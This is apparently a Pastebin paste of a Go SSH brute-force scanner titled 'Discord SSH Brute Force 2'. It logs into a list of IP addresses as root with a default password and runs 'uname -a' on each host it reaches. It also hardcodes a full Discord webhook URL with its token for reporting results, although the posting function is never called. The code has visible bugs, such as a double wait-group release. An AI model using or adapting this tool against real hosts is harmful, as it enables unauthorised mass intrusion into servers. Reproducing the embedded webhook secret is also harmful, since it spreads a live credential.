xosski

Discord SSH Brute Force 2

Dec 25th, 2024
6
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.44 KB | None | 0 0
  1. package main
  2.  
  3. import (
  4. "bufio"
  5. "bytes"
  6. "encoding/json"
  7. "fmt"
  8. "io/ioutil" // Import utilizat
  9. "log"
  10. "net"
  11. "net/http"
  12. "os"
  13. "os/exec" // Import utilizat
  14. "runtime"
  15. "strconv"
  16. "strings"
  17. "sync"
  18. "time"
  19.  
  20. "golang.org/x/crypto/ssh"
  21. )
  22.  
  23. const (
  24. hardcorewebhook = "https://discord.com/api/webhooks/1199622995040280576/Il4yqAF8NVkXa2SRFShERIqxFFXVB4DNfmNOFLEP9WAVF1khOxH8xZLSCfI4VI8OHzKG"
  25. )
  26.  
  27. // Funcție dummy pentru a folosi pachetele importate
  28. func useUnusedPackages() {
  29. _, _ = ioutil.ReadFile("dummy.txt") // Utilizare pentru `io/ioutil`
  30. _ = exec.Command("echo", "dummy") // Utilizare pentru `os/exec`
  31. }
  32.  
  33. func checkThreads(routines int, thread int64) bool {
  34. return int64(routines) <= thread
  35. }
  36.  
  37. var (
  38. ipfile string
  39. threads string
  40. port string
  41. )
  42.  
  43. func fileExists(filename string) bool {
  44. info, err := os.Stat(filename)
  45. return !os.IsNotExist(err) && !info.IsDir()
  46. }
  47.  
  48. func init() {
  49. useUnusedPackages() // Apelăm funcția pentru a folosi pachetele
  50. if len(os.Args) <= 3 {
  51. fmt.Println("Usage: [brute] [port] [threads] [iplist]")
  52. os.Exit(1)
  53. } else {
  54. ipfile = os.Args[3]
  55. threads = os.Args[2]
  56. port = os.Args[1]
  57. }
  58. }
  59.  
  60. func waitTimeout(wg *sync.WaitGroup, timeout time.Duration) bool {
  61. c := make(chan struct{})
  62. go func() {
  63. defer close(c)
  64. wg.Wait()
  65. }()
  66. select {
  67. case <-c:
  68. return false
  69. case <-time.After(timeout):
  70. return true
  71. }
  72. }
  73.  
  74. func isExcludedSystem(unameOutput string) bool {
  75. excludedSystems := []string{"aarch", "amzn", "amzn2", "armv7l", "raspberry", "raspberrypi"}
  76. for _, excluded := range excludedSystems {
  77. if strings.Contains(unameOutput, excluded) {
  78. return true
  79. }
  80. }
  81. return false
  82. }
  83.  
  84. type DiscordMessage struct {
  85. Embeds []Embed `json:"embeds"`
  86. }
  87.  
  88. type Embed struct {
  89. Title string `json:"title,omitempty"`
  90. Description string `json:"description,omitempty"`
  91. Color int `json:"color,omitempty"`
  92. Author Author `json:"author,omitempty"`
  93. Footer Footer `json:"footer,omitempty"`
  94. }
  95.  
  96. type Author struct {
  97. Name string `json:"name,omitempty"`
  98. }
  99.  
  100. type Footer struct {
  101. Text string `json:"text,omitempty"`
  102. }
  103.  
  104. func toDiscord(message DiscordMessage, webhookURL string) {
  105. payload, err := json.Marshal(message)
  106. if err != nil {
  107. return
  108. }
  109. resp, err := http.Post(webhookURL, "application/json", bytes.NewBuffer(payload))
  110. if err != nil {
  111. return
  112. }
  113. defer resp.Body.Close()
  114. }
  115.  
  116. func readLines(path string) ([]string, error) {
  117. file, err := os.Open(path)
  118. if err != nil {
  119. return nil, err
  120. }
  121. defer file.Close()
  122.  
  123. var lines []string
  124. scanner := bufio.NewScanner(file)
  125. for scanner.Scan() {
  126. lines = append(lines, scanner.Text())
  127. }
  128. return lines, scanner.Err()
  129. }
  130.  
  131. func remoteRun(user string, addr string, pass string, cmd string, wg *sync.WaitGroup) (string, error) {
  132. defer wg.Done()
  133.  
  134. config := &ssh.ClientConfig{
  135. User: user,
  136. HostKeyCallback: ssh.InsecureIgnoreHostKey(),
  137. Auth: []ssh.AuthMethod{
  138. ssh.Password(pass),
  139. },
  140. Timeout: 40 * time.Second,
  141. }
  142.  
  143. client, err := ssh.Dial("tcp", net.JoinHostPort(addr, port), config)
  144. if err != nil {
  145. return "", err
  146. }
  147. defer client.Close()
  148.  
  149. session, err := client.NewSession()
  150. if err != nil {
  151. return "", err
  152. }
  153. defer session.Close()
  154.  
  155. var b bytes.Buffer
  156. session.Stdout = &b
  157.  
  158. err = session.Run(cmd)
  159. if err != nil {
  160. return "", err
  161. }
  162.  
  163. if isExcludedSystem(b.String()) {
  164. log.Printf("IP %s excluded due to system: %s", addr, b.String())
  165. return "", nil
  166. }
  167.  
  168. return b.String(), nil
  169. }
  170.  
  171. func main() {
  172. lines, err := readLines(ipfile)
  173. if err != nil {
  174. log.Fatalf("readLines: %s", err)
  175. }
  176.  
  177. var wg sync.WaitGroup
  178. uniqueIPs := make(map[string]bool)
  179.  
  180. for _, line := range lines {
  181. ip := strings.TrimSpace(line)
  182. if ip != "" {
  183. uniqueIPs[ip] = true
  184. }
  185. }
  186.  
  187. var ips []string
  188. for ip := range uniqueIPs {
  189. ips = append(ips, ip)
  190. }
  191.  
  192. thread, _ := strconv.ParseInt(threads, 10, 64)
  193. routines := runtime.NumGoroutine()
  194.  
  195. for _, ip := range ips {
  196. wg.Add(1)
  197. go func(ip string) {
  198. defer wg.Done()
  199. if checkThreads(routines, thread) {
  200. output, err := remoteRun("root", ip, "password", "uname -a", &wg)
  201. if err == nil {
  202. fmt.Printf("Success: %s\n", output)
  203. } else {
  204. fmt.Printf("Error: %s\n", err)
  205. }
  206. }
  207. }(ip)
  208. }
  209.  
  210. timeout := 90 * time.Second
  211. if waitTimeout(&wg, timeout) {
  212. fmt.Println("Execution timed out")
  213. } else {
  214. fmt.Println("Execution completed")
  215. }
  216. }
Add Comment
Please, Sign In to add comment